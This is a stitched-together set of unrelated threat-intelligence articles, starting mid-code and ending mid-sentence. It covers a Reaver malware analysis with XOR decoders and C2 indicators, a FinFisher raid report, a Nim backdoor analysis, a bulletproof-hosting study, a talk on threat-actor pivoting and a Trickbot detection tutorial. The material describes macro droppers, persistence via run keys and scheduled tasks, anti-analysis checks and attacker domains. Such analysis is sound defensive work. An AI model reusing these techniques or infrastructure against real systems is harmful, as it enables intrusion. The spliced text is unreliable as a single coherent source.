else: key = 0 out += chr(ord(i) ^ key) key += 1 return out inc_xor(binary_data, 'FF') ``` The downloader also contained a highly unique PDB path within it as well: ``` e:\VS2005 Project\Doc_Pack\DownloadSample\release\DownloadSample.pdb ``` The PDB path suggested that this downloader was likely only one part of a larger malicious document project. ## Technical Findings: Exploit ### Malicious Documents Delivering Reaver After examining the new Reaver malware, we then turned our attention to the delivery method. What we found was an exploit document leveraging CVE-2017-11882: ``` 9ac09ea38c9cf11ca13a2c3dbdcfbe0fe4a15cb609be451f7159ecebdd20d311 ``` After analyzing this document, we were able to identify a handful of others leveraging the same exploit that took advantage of the “Package” ActiveX Control to drop a temporary file to %AppData%\Local\Temp\8.t. This is a particularly interesting trick that first rose to popularity in 2014 and appears to have dropped off almost entirely. Simply opening an RTF document is enough to trigger the behavior if the ActiveX control is not disabled via: ``` HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{F20DA720-C02F-11CE-927B-0800095AE340} ``` Upon closing the document, the temporary file will be removed. The native Windows program “Wordpad.exe” is also capable of triggering this same behavior regardless of the aforementioned registry key. In cases where the exploit was successfully triggered, it would launch some shellcode to decrypt and execute the content stored within “8.t”. The shellcode within the document utilized a unique custom XOR cipher with a seed value of “0x7BF48E63” shown in python below: ```python def mixer(eax): ecx = eax ecx = ecx >> 0x1B ecx = ecx ^ eax ecx = ecx >> 3 ecx = ecx ^ eax eax = eax + eax ecx = ecx & 1 eax = eax | ecx return eax def custom_loop(buf): eax = 0x7BF48E63 out = '' for x in buf: edi = 7 while edi != 0: eax = mixer(eax) edi -= 1 xor_key = eax & 0xFF out += chr(ord(x) ^ xor_key) return out ``` We were able to locate two additional documents which operated in a similar fashion and retrieved encoded payloads from www.htuditey[.]com. We confirmed these documents to be directly related to the group behind the Reaver malware. We also found several other documents which used the same executable encoding mechanism and seed value; however, these documents had previously been publicly attributed to “Gobelin Panda” and dropped an entirely different payload named “Sisfader RAT.” Gobelin Panda, a.k.a. Goblin Panda, is a group that has been identified by CrowdStrike as a Chinese threat actor known to target defense, energy, and government organizations belonging to South Asian countries - especially Vietnam. CrowdStrike observed Goblin Panda activity spike as tensions among South China Sea nations has risen. Though we are not able to determine whether Gob(e)lin Panda is associated with the MSS or the SSF, it is clear to us that the exploit builder used in the set of samples we have discussed above has been shared across multiple Chinese APT groups, including Leviathan, Temp.Periscope and Kryptonite Panda. Anomali also published a comprehensive report on this series of exploit documents and termed the Reaver family “Temp.Trident.” ## Technical Findings: Infrastructure All the domains we have identified in this report used random combinations of letters and were registered using the e-mail address yuming[at]nuo.cn, which seems to be a generic address for the hosting provider (www.nuo[.]cn). This provider has a direct link to the Chinese group or groups using or sharing this infrastructure, going all the way back to 2013, where it was used to register the domain, eyestouch256[.]com. The following six domains were registered on November 15, 2017: - etwefsfj[.]com - sfafgeht[.]com - strenthuy[.]com - fhjsdkla[.]com - htuditey[.]com - xuitrdgt[.]com As a reminder, that date marked the last day in which the tashdqdxp[.]com and associated IP was used in connection with Reaver (according to Palo Alto, which published that information five days later), and one day before Area 1 says the SFF started using the same IP address with a new domain for the attack on the European Union. We found that six other domains were registered on two different earlier dates in 2017 and were likely not operationalized to quite the same extent. We have not listed them here since they were not relevant to this discussion. Then, an additional two domains were registered on August 30, 2017: - djstoern[.]com - jorehkn[.]com Four other domains were registered on May 9, 2017: - menrotefit[.]com - norejike[.]com - poticxny[.]com - qidaterstu[.]com We strongly suspect yet another four other domains were registered by the group on July 31, 2018. However, they either have yet to resolve to any unique IP addresses or we have yet to identify any malware samples associated with them. Those domains are: - asdasfdsre[.]com - fdvvbnf[.]com - hdjyrtuy[.]com - kiggdssad[.]com ## Conclusion In this Threat Intelligence Bulletin, we’ve demonstrated how, after a close technical analysis of a set of tools and infrastructure used by several suspected Chinese state or state-sponsored actors over nearly a decade, we were able to establish and/or confirm connections between them – connections that provide insight into a dynamic set of actors whose targeting has changed dramatically over the years. Interestingly enough, the change in targeting, perhaps a reflection of shared tools or tasking among Chinese military and civilian intelligence services, was presaged by our own research on this same subject six years ago. In 2013, at a time when Citizen Lab and other research groups were issuing reports about the Chinese targeting of the Five Poisons, we published a technical blog on the use of essentially the same tools (later called Reaver) in use against U.S. automakers for espionage purposes. Findings of this nature should be of concern to enterprise administrators and network defenders in every vertical, not just those who see themselves within a threat model for the established Chinese state threat groups. That’s because, as our analysis has shown, we assess that the Chinese threat groups are either sharing “Indicators of Compromise” or adopting the targets and tasking of other Chinese groups. That means that if defenders are overly reliant on blacklisting indicators of compromise, or else making risk assessments based on what they perceive the interests of Chinese APT groups to be, they will remain vulnerable to an attacker who is changing both its tools and its targets. To borrow an analogy from the health industry, defenders should make an effort to vaccinate themselves in hopes of preventing sickness, not just try to bar entry to everyone they know is sick. ## Appendix ### Hashes: **Reaver 2019 v.4 Backdoors** - ff973e7c7a9d629011fb8c5bf766216e5e33da66656d9bf8386054fd8e99262a - 126f2e4d6766d901ea0cb78b8cb4827be7d6aecea0c817eef6b572cb5b4e2442 - 1d7a3eaf48a19908f4f6cdffa596b4db1d5346b47958424b72e186af061367c6 **Reaver 2018 v.4 Backdoors** - 363f7b8024efd8205ae8e74bfdc387b3a5aad8ff166cbc2475fad5d3a708dcb0 - 78b7b0253020edc80ea31eb60b42e47dec83b7cf41c952949c80b82679ece744 - da9e1317ecc3cbceda45a838d954b8750d118ef1ce072b32c913819780fbb9b7 - e1793859b3a3136c5d816fe7300303098847894241052820429a0584eed45ed1 **Reaver 2019 v.4 Droppers** - d6305a64d45e6443bf3bad2ccc4d2144f4632aec0ae1f3dedb1e526e1790770b **Reaver 2018 v.4 Droppers** - 738d5326c48fd81d147927d6e5d43933956e8f6a36f085b2130b780ccfc3fa86 - 538dd5cb32482a30a3676b328f275f37cbe16883a4368d3959b68e8f97fe70a1 - b36464ea655330b993a5fc992ddb981f503bbeb4f7cb081d5da67f83a4b49049 - 7f5f294d96c3fb36499c9049cdb337e58f06fb8531b3eac796f8deaf88060ed2 - 15ab48aaaabd4462ac8ba5b511879a0f4502408a500b556078ca129fc92c2628 **Reaver Downloader:** - 44cda3eea271613ddfc820014c9fdd829c30ebbe57614e1a4dafaf76905301dc - 9aab954f9fb84c82e588b2c90b1bb7eb2a65b08c739358a320d767650b6d9453 - 8971ac72939783d14d0ff0d4bebe1764b69e54a15627a149708f4253531a9df2 **Reaver Exploit Documents:** - 1c6cb02ae9dceb3a647260f409dd837fa5c66794804623c9cf97395cf406d4df - 3df19abbf961a6d795362f5408d65aa5a31e34620aa3518a010d4d6d9e79c60e - 9ac09ea38c9cf11ca13a2c3dbdcfbe0fe4a15cb609be451f7159ecebdd20d311 ### Command & Control Infrastructure **Domains:** - asdasfdsre[.]com - djstoern[.]com - etwefsfj[.]com - fdvvbnf[.]com - fhjsdkla[.]com - hdjyrtuy[.]com - htuditey[.]com - jorehkn[.]com - menrotefit[.]com - norejike[.]com - poticxny[.]com - qidaterstu[.]com - sfafgeht[.]com - strenthuy[.]com - xuitrdgt[.]com **IP Addresses:** - 103.226.153[.]235 - 103.234.99[.]74 - 103.36.54[.]119 - 103.61.137[.]210 - 104.160.190[.]2 - 104.160.191[.]10 - 104.224.141[.]75 - 107.161.80[.]56 - 142.252.252[.]241 - 182.16.118[.]91 - 204.44.65[.]128 - 208.77.43[.]76 - 210.56.51[.]66 - 45.121.48[.]12 - 45.121.50[.]19 - 45.121.50[.]5 - 50.117.38[.]74 - 50.117.47[.]129 - 50.117.96[.]147 - 64.32.22[.]151 - 67.229.134[.]170 - 67.229.159[.]218 - 67.229.168[.]2 - 67.229.28[.]82 - 74.121.151[.]158
# Our Criminal Complaint: German Made State Malware ## Company FinFisher Raided This is a translation of our original German reporting. Law enforcement agencies have conducted a large-scale raid of the German state malware company group FinFisher last week. The customs authorities are investigating the suspicion that software may have been exported without the required export license from the Federal Office of Economics and Export Control. The raids follow our criminal complaint, which we have written and submitted together with the Society for Freedom Rights, Reporters Without Borders, and the European Center for Constitutional and Human Rights. ### 15 objects A spokesperson of the responsible public prosecutor’s office in Munich comments: In cooperation with the Customs Investigation Bureau and supported by further prosecution authorities, the public prosecutor’s office Munich I searched 15 objects (business premises and private apartments) around Munich and an enterprise from the entrepreneurial group in Romania on 06.10.2020. The search lasted until the evening of 08.10.2020. Investigations are still being conducted against managing directors and employees of FinFisher GmbH and at least two other companies on suspicion of violation of the Foreign Trade and Payments Act. The investigations were started in summer 2019 on the basis of criminal charges. German public broadcasting first reported the raid. ### 3 days FinFisher advertises its state malware as a complete IT intrusion portfolio; both German federal police and Berlin police have purchased the powerful surveillance tool. Variants of the FinFisher suite have been found in dictatorships like Ethiopia and Bahrain, or more recently again in Egypt. In summer 2017, a FinFisher sample was discovered in Turkey. The authors of the criminal complaint assume that FinFisher is developed and produced in Munich. If true, the group of companies needs an export license, which the German government has not issued. An export without a license would be a criminal offense. FinFisher denies these accusations. In a statutory declaration, the CEO states in September 2019: - FinFisher Labs GmbH has developed the FinFisher software. - FinFisher GmbH has at no time sold or distributed the FinFisher software in Turkey. - Against this background, FinFisher GmbH has at no time violated export regulations of the Federal Republic of Germany or the EU. The company Elaman also states it has at no time sold or distributed the FinFisher software in Turkey. ### 2 Countries After our initial reporting on the criminal complaint, FinFisher took legal action with expensive lawyers and obtained a preliminary injunction against us, which was confirmed by the Berlin Regional Court. According to the court, our accusations were not provable and our reporting was too one-sided and prejudicial. On the advice of our lawyer, we did not appeal the verdict any further. The Customs Investigation Bureau and Public Prosecutors, however, take the accusations of criminal charges seriously enough to search 15 business premises and private apartments in Munich and Romania over a period of three days. If the investigators find enough evidence, they can bring the case to trial. Until then, the presumption of innocence applies. We have sent a number of questions to FinFisher GmbH and its partner companies for this reporting. FinFisher, as always, has not responded to our request for comments.
# A Look at the Nim-based Campaign Using Microsoft Word Docs to Impersonate the Nepali Government **Summary** Threat actors often employ stealthy attack techniques to elude detection and stay under the defender’s radar. One way they do so is by using uncommon programming languages to develop malware. Using an uncommon programming language to develop malware provides several benefits, including: - Evading some signature-based detections - Impeding analysis by malware analysts that are unfamiliar with the language - Limited community detection and published analysis Netskope recently analyzed a malicious backdoor written in Nim, which is a relatively new programming language. Netskope Threat Labs has observed an increase in Nim-based malware over the past year and expects Nim-based malware to become more popular as attackers continue to modify existing Nim-based samples. One of the highest-profile Nim-based malware families was the Dark Power ransomware, which began spreading in the wild earlier this year. This blog post provides a breakdown of a recent targeted threat that uses Word document bait to deliver a Nim backdoor. ## Delivery Method A malicious Word document was used to drop the Nim backdoor. The document was sent as an email attachment, where the sender claims to be a Nepali government official sending security arrangements. Despite the security controls placed around macros in Office files, we are still seeing APT-attributed malware using them to drop their payload, like the Menorah malware we analyzed a couple of months ago. Initially opening the file will show a blank document with an instruction to enable macros. When the user clicks “Enable Content,” the auto-trigger routine (Document_Open) in the code will execute. Once the main function is called, the code is executed through additional VBA functions inside the document. ## Defense Evasion To help bypass AV and static-based detections, the VBA project is password protected and macros are obfuscated using the Chr( ) VBA function and string concatenation. The VBA code is split into four subroutines. `sch_task` is a function that creates a VBScript named “OCu3HBg7gyI9aUaB.vbs” that will serve as the chain trigger. Initially, the VBScript is created in the AppData startup folder and is set as a hidden file. Oddly, some variables are initialized in one function but then utilized in a different function, which could be meant to confuse static analysis. Some strings referring to directories and libraries are split and then concatenated to evade static detection. `hide_cons` is a function to create another VBScript named “skriven.vbs,” which will be used by “8lGghf8kIPIuu3cM.bat” as a shell to run other scripts. More detailed info about this batch script is found below. Again, some strings referring to directories and libraries are split and then concatenated. `read_shell` is a function that creates the payload named conhost.exe, which is inside a ZIP archive. It assembles the ZIP from an array of decimals (by converting each to byte) stored in the “UserForm1” object. The resulting byte array is the actual ZIP file and is dropped to the AppData\Local\Microsoft\conhost.zip. `vb_chain` is a function mainly for creating “8lGghf8kIPIuu3cM.bat,” which will be the stage of infection before the final payload. Exact file paths are generated by the VBA macro before writing to the batch file. ## Dropped Files Summary `e2a3edc708016316477228de885f0c39.doc` drops: - OCu3HBg7gyI9aUaB.vbs (AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\OCu3HBg7gyI9aUaB.vbs) - skriven.vbs (AppData\Local\skriven.vbs) - conhost.zip (AppData\Local\Microsoft\conhost.zip) - 8lGghf8kIPIuu3cM.bat (AppData\Local\8lGghf8kIPIuu3cM.bat) drops these in AppData\Local: - unzFile.vbs - unz.vbs - 2L7uuZQboJBhTERK.bat - 2BYretPBD4iSQKYS.bat - d.bat - e.bat The Word document drops a malicious backdoor named “conhost.exe.” The malware is written in Nim and was likely compiled on September 20, 2023. Nim is a statically typed compiled programming language. Its versatility shines through its ability to be compiled to C, C++, or JavaScript, coupled with a Pythonic syntax for a developer-friendly experience. The backdoor runs within the same privilege as the current user logged in. It’s looking to continue its ploy that the file was from a Nepali authority by imitating government domains for its C&C server (govnp.org). When this backdoor is left undetected, users are at risk of having attackers gaining remote access. Even though the C2 servers are no longer accessible at the time of analysis, we were still able to extrapolate some of its behaviors. ## Anti-analysis Technique The malware performs a simple background check before connecting to its command and control server. Initially, the Nim backdoor spawns a command prompt to run tasklist.exe and checks for any processes running from its list of known analysis tools. The backdoor will terminate itself shortly if it sees any of the analysis tools from the list running. ## Command and Control through Web Protocol Once the backdoor confirms there are no analysis tools running, it will spawn another command prompt instance to get the machine’s hostname, then connect to its C&C server. It encrypts the hostname with a function named bakery. The encrypted hostname is encoded twice in base64, spliced behind a randomly chosen C&C server URL, and then concatenated with the “.asp” suffix at the end to obtain the URL of the final command. The command delivered by the C&C server is obtained through an HTTP GET request. Response data from GET contains the command from the C&C server. If the response data is different from the last time it was fetched, it means that the C&C server has issued a new command. Otherwise, it will be dormant and keep requesting the command from the C&C server. Decryption of response data (command) is done by the confectionary function, then concatenated with cmd /c to execute the command. The execution result is also sent back to the server through a GET request. The key used for encryption and decryption is “NPA,” which may be an abbreviation of NP (Nepal) Agent. The sample contacts the following C2 hosts: - mail.mofa.govnp.org - nitc.govnp.org - mx1.nepal.govnp.org - dns.govnp.org ## Persistence through Startup Folder and Scheduled Task To retain access on the machine, a VBScript named “OCu3HBg7gyI9aUaB.vbs” is placed in the startup folder. The script will initially confirm an internet connection using WMI’s “Win32_PingStatus” class to ping https://www.google.com. If successful, it will run a batch file named “8lGghf8kIPIuu3cM.bat.” The main task of the batch file “8lGghf8kIPIuu3cM.bat” is to drop files that will further unpack and create a scheduled task for the payload. The batch file will create more scripts that will carry out these subtasks: - `unz.vbs` is used for decompressing the executable out from the archive into the same directory - `unzFile.vbs` creates `unz.vbs` - `2L7uuZQboJBhTERK.bat` is just for chaining; runs `unzFile.vbs` then runs `2BYretPBD4iSQKYS.bat` - `2BYretPBD4iSQKYS.bat` is just for chaining; runs `unz.vbs` then runs `d.bat` - `d.bat` creates a scheduled task of the unpacked payload (conhost.exe) then runs `e.bat` - `e.bat` deletes itself and the other scripts created by `8lGghf8kIPIuu3cM.bat` The batch file named “d.bat” creates a scheduled task to attain another persistent execution of the malware on the target machine. The scheduled task is named “ConsoleHostManager.” ## Netskope Detection Netskope Advanced Threat Protection provides proactive coverage against zero-day and APT samples of malicious Office documents using both our static analysis engines and cloud sandbox. The detection for `e2a3edc708016316477228de885f0c39` indicates it was detected by Netskope Cloud Sandbox, Netskope Advanced Heuristic Engine, and Netskope Threat Intelligence. ## Conclusions Malware written in uncommon programming languages puts the security community at a disadvantage as researchers and reverse engineers’ unfamiliarity can hamper their investigation. Nim is one of the young programming languages increasingly abused by malware authors. Aside from its familiar syntax, its cross-compilation features allow attackers to write one malware variant and have it cross-compiled to target different platforms. Netskope Threat Labs will continue monitoring the usage of unpopular programming languages. ## IOCs **MD5** e2a3edc708016316477228de885f0c39 777fcc34fef4a16b2276e420c5fb3a73 EF834A7C726294CE8B0416826E659BAA 32C5141B0704609B9404EFF6C18B47BF **SHA-1** 3aa803baf5027c57ec65eb9b47daad595ba80bac 5D2E2336BB8F268606C9C8961BED03270150CF65 4CAE7160386782C02A3B68E7A9BA78CC5FFB0236 0599969CA8B35BB258797AEE45FBD9013E57C133 **SHA-256** b5c001cbcd72b919e9b05e3281cc4e4914fee0748b3d81954772975630233a6e 696f57d0987b2edefcadecd0eca524cca3be9ce64a54994be13eab7bc71b1a83 88FA16EC5420883A9C9E4F952634494D95F06F426E0A600A8114F69A6127347F 1246356D78D47CE73E22CC253C47F739C4F766FF1E7B473D5E658BA1F0FDD662 **Network** mail.mofa.govnp.org nitc.govnp.org mx1.nepal.govnp.org dns.govnp.org Thank you to Juan Diego Huet for helping analyze the sample files and contributing to this blog. **Ghanashyam Satpathy** Ghanashyam Satpathy is a Principal Researcher with the Netskope Efficacy team, which drives the detection effectiveness. His background is building threat detection products using AI/ML technology for cloud and endpoint security.
# Criminal Hideouts for Lease: Bulletproof Hosting Services ## BPHS Basics Bulletproof hosting services (BPHSs) play a crucial yet low-key role in cybercriminal operations. When thinking about cybercrime, the focus is normally drawn to the modus operandi or the cybercriminals behind it. BPHS is often relegated to an incidental detail of a much grander scheme. This service stays in the background and does not overtly affect cybercrime victims. However, it would be foolish to downplay its significance. Without BPHS, many, if not all major cybercriminal groups would cease to operate. If we were to compare a cybercriminal enterprise to a real-world crime ring operation, BPHS would serve as the gang’s hideout. Just as real-world syndicates use their hideouts to store contraband and stolen goods, cybercriminals use BPHSs to keep their malicious tools, serve as botnet command centers, act as repositories of stolen information, or host sites used in phishing, pornography, or scams. To ensure the smooth flow of transactions, both hideouts and BPHSs must be strategically located to make them harder to seize. ## Popular Content and Services BPHS providers in certain countries or regions specialize in hosting different kinds of content and services. Below are a few examples: - **Fake shopping sites:** Sites that sell fake products (watches, designer clothes, electronics, pharmaceuticals, etc.) to users in various countries where selling them may be prohibited. - **Torrent file download sites:** These follow structured rules to keep their torrent files searchable and accessible. - **Blackhat SEO pseudo sites:** Developed for search engines so customers can buy or sell web traffic, often obtained through malicious techniques. - **Brute-forcing tools:** Sites that host tools for discovering weak passwords and access credentials. - **C&C components:** Environments suited for controlling networks of infected client systems. - **Virtual private networks (VPNs):** Hosting facilities that protect owners’ privacy from security researchers and law enforcement. - **Warez forums:** Provide information on overriding protective measures against software piracy. - **Spam:** Sites that contain tools used in mass-mailing attacks. ## Classifying BPHSs Given the diversity of features that BPHSs offer, we devised a simple set of criteria to classify and analyze them: 1. **Business model:** How do BPHS providers operate? 2. **Toxicity level:** How malicious is the content/service hosted on a BPHS infrastructure? 3. **Geolocation:** Where are the bulletproof servers physically located? 4. **Targets and exceptions:** Which regions are targeted by or protected from the hosted content? 5. **Price:** How much does hosting cost? 6. **Popularity:** How popular are BPHS providers based on customer feedback? 7. **Longevity:** How long has a BPHS provider been operating? ### Business Models BPHS providers operate in several ways: - **Dedicated bulletproof servers:** Providers allow customers to host content that may be considered illegal in certain countries. - **Compromised dedicated servers:** Providers compromise dedicated servers and rent them out for malicious content. - **Abused cloud-hosting services:** Providers lease their units to tenants who may engage in illegal operations. ## Toxicity The toxicity of a bulletproof server depends on the kind of content hosted. The more illicit or malicious the content, the more unsafe it is to host. | **Hosted Content** | **Toxicity Level** | |---------------------|--------------------| | Child exploitation | Very high | | C&C components | High | | Malware | High | | Spam | Medium | | Brute-forcing tools | Medium | | Torrent file download sites | Low | | Fake goods shopping sites | Low | ## Geolocation A server’s physical location is important, especially regarding legality in the countries where BPHS providers operate. Attackers typically rent bulletproof servers that don’t share their intended targets’ geolocation to minimize risks. ## Pricing BPHS prices depend on the risk involved in hosting certain content: - **Low:** Servers for low-risk content can be rented for as low as US$2 per month. - **Medium:** Servers for medium- and high-risk content cost around US$70 (hardware) or US$20 (VPS) per month. - **High:** Critical infrastructure projects or high-risk content can cost US$300 or more per month. ## Popularity and Longevity A BPHS provider’s popularity can be determined based on forum recommendations and customer feedback. Longevity is also crucial; providers that have been operating for a long time without changing their name or domain demonstrate their ability to ensure customer confidentiality. ## The Case of RandServers RandServers is a notable BPHS provider that claims it can host any type of content with some restrictions. It offers various packages, including DDoS-mitigation applications and monitoring tools. ### Findings on RandServers | **Criteria** | **Details** | |--------------|-------------| | Business model | Follows both dedicated and abused cloud-hosting models. | | Toxicity level | Highly toxic, allowing various malicious content. | | Geolocation | Servers located in Ukraine, Netherlands, and Canada. | | Pricing | Service offerings range from US$100 (VPS) to US$300 (dedicated servers). | | Popularity | Complaints regarding support availability and VPS instability. | | Longevity | Operating for three years. | ## What Keeps BPHS Providers Alive? - **Technical support:** Strong support teams communicate with clients via various messaging services. - **Infrastructure migration:** Providers move their infrastructure to evade blacklisting. - **Protection against DDoS attacks:** High-end providers offer DDoS protection as part of their standard package. - **Proxying visibility:** Some providers hide their IP addresses behind proxy services. - **Advertising:** Providers rely on underground forums for advertising their services. ## Ongoing Security Challenges Shutting down BPHS operations is challenging. While some BPHS providers can be taken down, it requires political will and cooperation from security vendors. The nature of BPHSs allows them to protect malicious activity against law enforcement, creating loopholes for cybercriminals. Unless significant changes occur in international laws regarding these services, BPHSs will continue to exist, and cybercriminals will thrive.
# How to Perform Long Term Monitoring of Careless Threat Actors **Daniel Lunghi (@thehellu)** June 03, 2020 - SSTIC conference, (Cyber) Rennes, France ## Outline - Introduction - Malware analysis and classification - Pivoting on the samples - Pivoting on the infrastructure - Telemetry and links with known threat actors - Bonus - Conclusion ## Introduction This talk focuses on the methodology of long term threat actor monitoring. Examples are based on a Trend Micro investigation published on February 18, 2020, titled "Operation DRBControl - Uncovering a Cyberespionage Campaign Targeting Gambling Companies in Southeast Asia." **Goals:** - Establish Tactics, Techniques, and Procedures (TTP) of a threat actor - Help incident response/detection - Get as much context as possible Investigation started in July 2019, after Talent-Jump technologies brought interesting samples to us. The samples were found in a gambling company in the Philippines with no obvious link to a known threat actor. ## Malware Analysis and Classification **Goals:** - Extract IOCs (domain names, IP addresses, file names, registry keys…) - List the malware features - Find the malware family, if known **How:** - Pick your favorite disassembler - Classification: Yara, TLSH, search engines… **Initial triaging result:** - 4 different families, of which 3 are unknown - Only known family was found in October 2019 Let’s focus on “Type 1” malware, but the methodology is the same for other families. Malware is packed and uses DLL side-loading. **Malware is written using C++, it supports plugins, and class names can be extracted from RTTI information:** - CHPKeylog - CHPScreen - CHPAvi - CHPCmd - CHPExplorer - CHPRegedit Samples contain a version number: - Version number: 1.0, Compilation date: May 2019 - Version number: 8.0, Compilation date: July 2019 - Version number: 9.0, Compilation date: August 2019 This shows the fast development pace of the threat actor. ## Pivoting from Samples **“Easy” pivoting: unique strings** - Query on search engine (sandbox results) - “Content” modifier on VirusTotal or similar malware repositories - Yara rules for more complex queries - RetroHunt for past malwares Fail, malware is packed. The algorithm for network communication encryption uses a substitution table of 256 bytes, hardcoded in a specific order. A Yara rule was written, alerting added, and RetroHunt launched, resulting in new relevant samples found. On March 23rd, an alert matching this substitution table was raised, but the related sample was not malware, indicating the Yara rule is prone to false positives. We found source code posted on February 27, 2015, on CodeProject.com matching the assembly code. Don’t discard the possibility of code reuse, even with few matching samples. **Metadata in different file formats is also useful:** - VERSIONINFO structure from the PE format contains information on filename, description, version, etc. - Documents contain metadata (title, author name, …) In this investigation, we found several related samples by leveraging metadata: - 2 malware samples had “HaoZipUpdate” as original filename - 4 malicious documents had “Dell_20170514745” as author Legitimate HaoZipUpdate was patched. Mutexes might be used for correlation. A SFX archive dropping Trochilus malware named “diskshawin.exe” uses mutexes with unique names. A BbsRAT sample named “diskwinshadow.exe” found in a public sandbox report also uses these mutexes. ## Pivoting from Infrastructure **Passive DNS:** database of historical links between IP addresses and domain names. Some threat actors reuse their servers or domain names for multiple campaigns. This needs to be handled with caution, as it is prone to false positives and false negatives. **IP addresses history for domain name:** update.microsoftdefender.com as seen on PassiveTotal. Some threat actors register their domain names in bulk. The creation date timestamp for those domains is close. By filtering on registrar and name server, we find additional domains created on the same date. **Many more techniques:** - TLS certificate tracking - Correlation through metadata (web server version, hosting provider, HTTP headers …) - Search of domain names/IP addresses on public sandboxes results - HTTP static content tracking All those techniques need to be reiterated when new IOCs are found. ## Telemetry and Further Links As an AV, we have telemetry from our customers (if enabled). Spear-phishing emails sent in May 2019 targeted a different company in the gambling/betting industry, confirming the targeted industry and location. **Links with known threat actors:** - Links with Winnti: shared mutexes indicate probably code sharing for a dropper. A binary was downloaded from an IP address by the threat actor, with Passive DNS showing domains related to Winnti. - Links with EmissaryPanda/LuckyMouse: a sample from the HyperBro family, used exclusively by this threat actor, was found. ## Using Malware Features to Our Advantage Type 1 malware has a secondary C&C channel. It sends commands, uploads computer info, and looks for a “bin.asc” file in its own directory to load it. To read and write to the repository, the malware uses a hardcoded API key. “bin.asc” is a new malware family using Dropbox as C&C. We found 142 different directories, of which 129 contain a “bin.asc” file, with ~50 post-exploitation tools found in the repository, including Mimikatz, Quarks PwDump, Nbtscan, and privilege escalation tools. On March 2020, we noticed a new campaign using the Type 1 malware family. After extracting the Dropbox API key, we noticed permissions had been modified, and the token was not allowed to list directories, indicating the threat actor reacted to our publication. ## Conclusion Started from ~20 samples of 4 different malware families, 5 domain names, and 3 IP addresses. After the investigation: - 8 different malware families - 19 domain names, 9 IP addresses - List of post-exploitation tools - Victimology confirmed - Tens of different samples - Infection vector found - Links with two known threat actors Threat intelligence enriches knowledge of a threat actor. It needs access to a large amount of data and requires diverse skills. Each security vendor has its own perspective of the attack, so collaboration is welcome. ## Acknowledgements - Cédric Pernet and Kenney Lu, my dear colleagues - Our boss Ziv for giving us enough time to dig - Researchers at Talent-Jump technologies for sharing samples - Bernard Pivot
# Splunking with Sysmon Part 4: Detecting Trickbot ## Trickbot and Ryuk With the recent outbreak of Ryuk in hospitals, detecting the precursors to the ransomware has become a more visible priority. Ryuk has a history of being deployed after an enterprise has been compromised by Trickbot. The problems with detecting Ryuk is that once it is detected, it is often too late to save anything. The key is to detect Trickbot or any other malware attackers use before your data starts being encrypted. This Splunk tutorial will cover the methodology I used to develop and test the detections as well as how to implement and tune them. ## Trickbot Hunting Finding Trickbot samples is not hard to do; there are many sources and samples available. I tested 7 different .exe samples that all had been submitted within 3 days of my testing. I ran each sample on my home lab with access to the internet enabled and Sysinternal Process Monitor (procmon) running to monitor what the executable was doing. I segregated my home lab from my personal network to reduce the risk of any malware spreading; please be safe if you want to recreate my testing. To determine how I’d approach a detection, I divided the analysis of the Trickbot samples that I tested into two different categories. The first category included the samples that fully executed and established a persistence mechanism. The second category’s samples were more evasive, but they did not establish any form of persistence. ### Persistent Trickbot The Trickbot samples I analyzed that established persistence had a few different ways that they executed, but they always used Registry Run Keys to establish a persistent hold on the infected system. The simplest sample wrote a file to the user's Local Appdata folder and created a run registry key to execute that file on boot. It also did a time stomp to change the file creation time on the executable. The keys I took away from the procmon evaluation was that the initial process creates a file, possibly timestomped, sets a registry run key on it, and works from the child process—not the initial execution. These keys can be seen when tracking the process in Splunk logs as well. ### Evasive Trickbot It was much harder to detect what the evasive Trickbot was doing. The process would start, and then each one quickly moved into wermgr.exe and wrote to a file while making outbound connections. The wermgr.exe process never created any child processes or moved into another process; it would create an outward network connection every 5 or so minutes, but appeared to be waiting for more instructions. ## Detecting Initial Execution Detecting the Initial Execution of Trickbot was more reliable than the persistence, but it also required a little more work. All of the Trickbot samples I tested had an OriginalFilename in the PE Header that did not match the file that was executed. Since these processes are created from executables in the User folders, I started looking at Process Creation events where the file_name did not match the OriginalFilename, which fits the Mitre Technique T1036 (Masquerading). Evaluating those files does result in a decent number of False Positives, but with a little bit of time to exclude them via a lookup, you can detect the programs that should not be running in your environment. This can be somewhat noisy, but it also detected every sample I encountered. Tuning the renamed_tools.csv lookup is most easily done by running the search, deduped by OriginalFileName and process_name, over a week to add all processes to the lookup table. After that take some time to go through the lookup and ensure that all entries are expected and clean. If you are unsure you can run the hash through an OSINT tool to determine more information about the process. Then remove all columns from the lookup table but the fields you intend to exclude by. ## Detecting Persistence Only 3 of the 7 samples I tested were able to establish persistence on my lab machine. Each one that did, did so via the same method. They added a Registry run key, Mitre Technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder), which would cause the executable to run when the user logs on to the machine. This detection is similar to the initial execution detection, where it looks for Processes that originate from the User folder that modifies Registry Run Keys. This also needs a little tuning to reduce the number of False Positives, but not as much as above. Tuning the registry_run.csv lookup is similar to the renamed_tools lookup. Deduping will not work as well, and you may need to add wildcards to the lookup table as the TargetObject will contain the user SID and Details and Image may contain the user name. You could also add the process_name field to the lookup and dedup via it, but there will be more risk to commonly named processes. Make sure to remove all columns except Image and TargetObject (and possibly Details if you intend to exclude by it) from the lookup table when tuning is finished. ## Conclusion This was honestly a lot of fun and interesting to watch the execution of a variety of Trickbot samples and see how they initially run. While there is a little work needed to get the detections to an alertable state, it is well worth it if you can catch Trickbot or other malicious processes before they have a chance to cause more damage.
# Prototype Nation: The Chinese Cybercriminal Underground in 2015 By the end of 2013, the Chinese cybercrime underground was a very busy economy, with peddled wares that not only targeted PCs, but mobile devices as well—making it its most prolific segment. We also saw cybercriminals abusing popular Web services such as the instant-messaging app (IM), QQ, to communicate with peers. Today, the Chinese underground is thriving more than ever. Previous explorations in the Chinese underground have indicated that cybercriminals are quick to adapt to technological advancements and existing trends as seen throughout 2015. Data (either leaked or stolen) are now being traded along with prototypes and new functional hardware, like point-of-sales (PoS) and automated teller machine (ATM) skimmers. As the Chinese underground continues to burgeon, we expect to see more cybercriminal activity using these new market offerings. Leaked data search engines and other offerings allow cybercriminals to commit various crimes like financial fraud, identity and intellectual property theft, espionage, and extortion. Chinese cybercriminals have managed to enhance the way they share data as seen in the case of SheYun, a search engine created specifically to make leaked data available to users. Over the last few years, we have been keeping track of the shift of prices of goods and services traded in the Chinese underground. Previously, we saw compromised hosts, DDoS attack tools, and remote access Trojans (RATs) being sold. Today, social engineering tools have been added to the market. ## Carding Devices Cash transactions are slowly becoming a thing of the past, as evidenced by the 